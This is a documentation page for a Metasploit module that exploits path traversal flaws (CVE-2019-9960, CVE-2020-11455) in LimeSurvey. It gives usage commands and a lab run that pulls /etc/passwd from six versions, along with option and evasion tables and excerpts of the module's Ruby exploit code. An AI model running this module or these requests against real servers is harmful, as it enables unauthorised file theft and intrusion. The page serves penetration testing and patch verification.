LimeSurvey Zip Path Traversals - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/limesurvey_zip_traversals metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: LimeSurvey Zip Path Traversals
Module: auxiliary/scanner/http/limesurvey_zip_traversals
Source code: modules/auxiliary/scanner/http/limesurvey_zip_traversals.rb
Disclosure date: 2020-04-02
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-9960, CVE-2020-11455

This module exploits an authenticated path traversal vulnerability found in LimeSurvey versions between 4.0 and 4.1.11 with CVE-2020-11455 or <= 3.15.9 with CVE-2019-9960, inclusive. In CVE-2020-11455 the getZipFile function within the filemanager functionality allows for arbitrary file download. The file retrieved may be deleted after viewing, which was confirmed in testing. In CVE-2019-9960 the szip function within the downloadZip functionality allows for arbitrary file download. Verified against 4.1.11-200316, 3.15.0-181008, 3.9.0-180604, 3.6.0-180328, 3.0.0-171222, and 2.70.0-170921.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/limesurvey_zip_traversals
msf auxiliary(limesurvey_zip_traversals) > show options
    ... show and set options ...
msf auxiliary(limesurvey_zip_traversals) > set RHOSTS ip-range
msf auxiliary(limesurvey_zip_traversals) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(limesurvey_zip_traversals) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(limesurvey_zip_traversals) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(limesurvey_zip_traversals) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


This module exploits an authenticated path traversal vulnerability found in LimeSurvey versions between 4.0 and 4.1.11 with CVE-2020-11455 or <= 3.15.9 with CVE-2019-9960, inclusive.

In CVE-2020-11455 the getZipFile function within the filemanager functionality allows for arbitrary file download. The file retrieved may be deleted after viewing.

In CVE-2019-9960 the szip function within the downloadZip functionality allows for arbitrary file download.

This module has been verified against the following versions:

  • 4.1.11-200316
  • 3.15.0-181008
  • 3.9.0-180604
  • 3.6.0-180328
  • 3.0.0-171222
  • 2.70.0-170921

Install

This application is straight forward to install. An excellent writeup is available on howtoforge.com

Versions can be downloaded from github.

Verification Steps


  1. Install the application
  2. Start msfconsole
  3. Do: use auxiliary/scanner/http/limesurvey_zip_traversals
  4. Do: set file [file]
  5. Do: set rhosts [ip]
  6. Do: run
  7. If the file is readable, you should retrieve a file from the application

Options


FILE

The file to attempt to retrieve

Scenarios


LimeSurvey 4.1.11, 3.15.0, 3.9.0, 3.6.0, 3.0.0, and 2.70.0 on Ubuntu 18.04

[*] Processing lime41.rb for ERB directives.
resource (lime41.rb)> use auxiliary/scanner/http/limesurvey_zip_traversals
resource (lime41.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (lime41.rb)> set verbose true
verbose => true
resource (lime41.rb)> set targeturi /LimeSurvey-4.1.11-200316/
targeturi => /LimeSurvey-4.1.11-200316/
resource (lime41.rb)> run
[*] CSRF: YII_CSRF_TOKEN => SzF-eUl4RW1lU0h-aFZxWmNwbGZOREJrYUduZzI1WTaGH7eqrOmgcse5liKfPNZ8qqKkvenm5Fu6oxTSyVWDrQ==
[+] Login Successful
[*] Version Detected: 4.1.11
[*] Attempting to retrieve file
[+] File stored to: /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (lime41.rb)> set targeturi /LimeSurvey-3.15.0-181008/
targeturi => /LimeSurvey-3.15.0-181008/
resource (lime41.rb)> run
[*] CSRF: YII_CSRF_TOKEN => SDNyc21VYXJONmIwbjFkOENmUzEyS1NMX3lPQ0VYRTJyfE0iGABAxOsuZhxGdZd59W3dNCVx2D6JABRxmu6dgw==
[+] Login Successful
[*] Version Detected: 3.15.0
[*] Attempting to retrieve file
[+] File stored to: /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__530709.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (lime41.rb)> set targeturi /LimeSurvey-3.9.0-180604/
targeturi => /LimeSurvey-3.9.0-180604/
resource (lime41.rb)> run
[*] CSRF: YII_CSRF_TOKEN => QldPa0lZM0o0cUV-STU4NWVoYVlDdHNtYmhmVVl6NW39a1wvfep0Ccsuz_gx9V1AnMjtADnprALM7qwvxUz3Wg==
[+] Login Successful
[*] Version Detected: 3.9.0
[*] Attempting to retrieve file
[+] File stored to: /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__407491.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (lime41.rb)> set targeturi /LimeSurvey-3.6.0-180328/
targeturi => /LimeSurvey-3.6.0-180328/
resource (lime41.rb)> run
[*] CSRF: YII_CSRF_TOKEN => SHJzSk81ak5rdWdONTJWV0VLQTlHcjRKeGNIaFlYREqfcU-BuMlPRimIHJipKDsrCF3i7j29J4bNFwxsYGD42A==
[+] Login Successful
[*] Version Detected: 3.6.0
[*] Attempting to retrieve file
[+] File stored to: /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__228237.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (lime41.rb)> set targeturi /LimeSurvey-3.0.0-171222/
targeturi => /LimeSurvey-3.0.0-171222/
resource (lime41.rb)> run
[*] CSRF: YII_CSRF_TOKEN => T1VkbDlhYU9IbkZHel9wd0JoVVl5RTUxQ2h2Mk9yN0-AXAtaTDCOMX8gWru7EmBHPBumgY0FG0vAFLwCwyeeuA==
[+] Login Successful
[*] Version Detected: 3.0.0
[*] Attempting to retrieve file
[+] File stored to: /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__611969.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (lime41.rb)> set targeturi /LimeSurvey-2.70.0-170921/
targeturi => /LimeSurvey-2.70.0-170921/
resource (lime41.rb)> run
[*] CSRF: YII_CSRF_TOKEN => elhvTzJaWGlJWU10WnBFajlTYmN5a1VHY1M0bDNJd1C2okYXL__0in7KMlmwY6_Iuk8sI7H7s2zQPZ5NiWW_Xg==
[+] Login Successful
[*] Version Detected: 2.70.0
[*] Attempting to retrieve file
[+] File stored to: /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__149900.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (lime41.rb)> md5sum ~/.msf4/loot/*
[*] exec: md5sum ~/.msf4/loot/*

3cf5f3492b7c77a77f74124bb4ccb528  /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt
3cf5f3492b7c77a77f74124bb4ccb528  /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__530709.txt
3cf5f3492b7c77a77f74124bb4ccb528  /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__228237.txt
3cf5f3492b7c77a77f74124bb4ccb528  /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__407491.txt
3cf5f3492b7c77a77f74124bb4ccb528  /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__149900.txt
3cf5f3492b7c77a77f74124bb4ccb528  /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__611969.txt
msf5 auxiliary(scanner/http/limesurvey_zip_traversals) > cat /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt
[*] exec: cat /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...snip...
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/limesurvey_zip_traversals auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/limesurvey_zip_traversals

msf6 auxiliary(scanner/http/limesurvey_zip_traversals) > show info

       Name: LimeSurvey Zip Path Traversals
     Module: auxiliary/scanner/http/limesurvey_zip_traversals
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-04-02

Provided by:
  h00die
  Matthew Aberegg
  Michael Burkey
  Federico Fernandez
  Alejandro Parodi

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  DEPTH      7                yes       Traversal Depth (to reach the root folder)
  FILE       /etc/passwd      yes       The file to retrieve
  PASSWORD   password         yes       LimeSurvey Password
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the LimeSurvey installation
  THREADS    1                yes       The number of concurrent threads (max one per host)
  USERNAME   admin            yes       LimeSurvey Username
  VHOST                       no        HTTP server virtual host

Description:
  This module exploits an authenticated path traversal vulnerability 
  found in LimeSurvey versions between 4.0 and 4.1.11 with 
  CVE-2020-11455 or <= 3.15.9 with CVE-2019-9960, inclusive. In 
  CVE-2020-11455 the getZipFile function within the filemanager 
  functionality allows for arbitrary file download. The file retrieved 
  may be deleted after viewing, which was confirmed in testing. In 
  CVE-2019-9960 the szip function within the downloadZip functionality 
  allows for arbitrary file download. Verified against 4.1.11-200316, 
  3.15.0-181008, 3.9.0-180604, 3.6.0-180328, 3.0.0-171222, and 
  2.70.0-170921.

References:
  https://www.exploit-db.com/exploits/48297
  https://nvd.nist.gov/vuln/detail/CVE-2020-11455
  https://github.com/LimeSurvey/LimeSurvey/commit/daf50ebb16574badfb7ae0b8526ddc5871378f1b
  https://nvd.nist.gov/vuln/detail/CVE-2019-9960
  https://www.secsignal.org/en/news/cve-2019-9960-arbitrary-file-download-in-limesurvey/
  https://github.com/LimeSurvey/LimeSurvey/commit/1ed10d3c423187712b8f6a8cb2bc9d5cc3b2deb8

Module Options


This is a complete list of options available in the scanner/http/limesurvey_zip_traversals auxiliary module:

msf6 auxiliary(scanner/http/limesurvey_zip_traversals) > show options

Module options (auxiliary/scanner/http/limesurvey_zip_traversals):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DEPTH      7                yes       Traversal Depth (to reach the root folder)
   FILE       /etc/passwd      yes       The file to retrieve
   PASSWORD   password         yes       LimeSurvey Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the LimeSurvey installation
   THREADS    1                yes       The number of concurrent threads (max one per host)
   USERNAME   admin            yes       LimeSurvey Username
   VHOST                       no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/limesurvey_zip_traversals auxiliary module:

msf6 auxiliary(scanner/http/limesurvey_zip_traversals) > show advanced

Module advanced options (auxiliary/scanner/http/limesurvey_zip_traversals):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/limesurvey_zip_traversals module can do:

msf6 auxiliary(scanner/http/limesurvey_zip_traversals) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/limesurvey_zip_traversals auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/limesurvey_zip_traversals) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This method will possibly delete the file retrieved!!!


Here is a relevant code snippet related to the "This method will possibly delete the file retrieved!!!" error message:

62:	    target_uri.path
63:	  end
64:	
65:	  def cve_2020_11455(cookie, ip)
66:	    vprint_status('Attempting to retrieve file')
67:	    print_error 'This method will possibly delete the file retrieved!!!'
68:	    traversal = '../' * datastore['DEPTH']
69:	    res = send_request_cgi({
70:	      'method' => 'GET',
71:	      'uri' => normalize_uri(uri, 'index.php', 'admin', 'filemanager', 'sa', 'getZipFile'),
72:	      'cookie' => cookie,

File not found or server not vulnerable


Here is a relevant code snippet related to the "File not found or server not vulnerable" error message:

76:	    })
77:	    if res && res.code == 200 && !res.body.empty?
78:	      loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
79:	      print_good("File stored to: #{loot}")
80:	    else
81:	      print_bad('File not found or server not vulnerable')
82:	    end
83:	  end
84:	
85:	  def cve_2019_9960_version_3(cookie, ip)
86:	    vprint_status('Attempting to retrieve file')

File not found or server not vulnerable


Here is a relevant code snippet related to the "File not found or server not vulnerable" error message:

95:	    })
96:	    if res && res.code == 200 && !res.body.empty?
97:	      loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
98:	      print_good("File stored to: #{loot}")
99:	    else
100:	      print_bad('File not found or server not vulnerable')
101:	    end
102:	  end
103:	
104:	  # untested because I couldn't find when this applies.  It is pre 2.7 definitely, but unsure when.
105:	  # this URL scheme was noted in the secsignal write-up

File not found or server not vulnerable


Here is a relevant code snippet related to the "File not found or server not vulnerable" error message:

117:	    })
118:	    if res && res.code == 200 && !res.body.empty?
119:	      loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
120:	      print_good("File stored to: #{loot}")
121:	    else
122:	      print_bad('File not found or server not vulnerable')
123:	    end
124:	  end
125:	
126:	  def login
127:	    # get csrf

No response from server


Here is a relevant code snippet related to the "No response from server" error message:

128:	    res = send_request_cgi({
129:	      'method' => 'GET',
130:	      'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login')
131:	    })
132:	    cookie = res.get_cookies
133:	    fail_with(Failure::NoAccess, 'No response from server') unless res
134:	
135:	    # this regex is version 4+ compliant, will fail on earlier versions which aren't vulnerable anyways.
136:	    /"csrfTokenName":"(?<csrf_name>\w+)"/i =~ res.body
137:	    /"csrfToken":"(?<csrf_value>[\w=-]+)"/i =~ res.body
138:	    csrf_name = 'YII_CSRF_TOKEN' if csrf_name.blank? # default value

Unable to get CSRF values, check URI and server parameters.


Here is a relevant code snippet related to the "Unable to get CSRF values, check URI and server parameters." error message:

134:	
135:	    # this regex is version 4+ compliant, will fail on earlier versions which aren't vulnerable anyways.
136:	    /"csrfTokenName":"(?<csrf_name>\w+)"/i =~ res.body
137:	    /"csrfToken":"(?<csrf_value>[\w=-]+)"/i =~ res.body
138:	    csrf_name = 'YII_CSRF_TOKEN' if csrf_name.blank? # default value
139:	    fail_with(Failure::NoAccess, 'Unable to get CSRF values, check URI and server parameters.') if csrf_value.blank?
140:	    vprint_status("CSRF: #{csrf_name} => #{csrf_value}")
141:	
142:	    res = send_request_cgi({
143:	      'method' => 'POST',
144:	      'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login'),

No response from server


Here is a relevant code snippet related to the "No response from server" error message:

154:	        'login_submit' => 'login'
155:	      }
156:	    })
157:	
158:	    if res && res.code == 302 && res.headers['Location'].include?('login') # good login goes to location admin/index not admin/authentication/sa/login
159:	      fail_with(Failure::NoAccess, 'No response from server')
160:	    end
161:	    vprint_good('Login Successful')
162:	    res.get_cookies
163:	  end
164:	

No response from server


Here is a relevant code snippet related to the "No response from server" error message:

166:	    res = send_request_cgi({
167:	      'method' => 'GET',
168:	      'uri' => normalize_uri(uri, 'index.php', 'admin', 'index'),
169:	      'cookie' => cookie
170:	    })
171:	    fail_with(Failure::NoAccess, 'No response from server') unless res
172:	    /Version\s+(?<version>\d\.\d{1,2}\.\d{1,2})/ =~ res.body
173:	    return nil unless version
174:	
175:	    Rex::Version.new(version)
176:	  end

Unable to determine version, trying all exploits


Here is a relevant code snippet related to the "Unable to determine version, trying all exploits" error message:

178:	  def run_host(ip)
179:	    cookie = login
180:	    version = determine_version cookie
181:	    if version.nil?
182:	      # try them all!!!
183:	      print_status('Unable to determine version, trying all exploits')
184:	      cve_2020_11455 cookie, ip
185:	      cve_2019_9960_3_15_9 cookie, ip
186:	      cve_2019_9960_pre3_15_9 cookie, ip
187:	    end
188:	    vprint_status "Version Detected: #{version.version}"

No exploit for version <VERSION.VERSION>


Here is a relevant code snippet related to the "No exploit for version <VERSION.VERSION>" error message:

192:	      cve_2019_9960_version_3 cookie, ip
193:	    # 2.50 is when LimeSurvey started doing almost daily releases.  This version was
194:	    # picked arbitrarily as I can't seem to find a lower bounds on when this other
195:	    # method may be needed.
196:	    elsif version < Rex::Version.new('2.50.0')
197:	      cve_2019_9960_pre25 cookie, ip
198:	    else
199:	      print_bad "No exploit for version #{version.version}"
200:	    end
201:	  end
202:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • h00die
  • Matthew Aberegg
  • Michael Burkey
  • Federico Fernandez
  • Alejandro Parodi

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.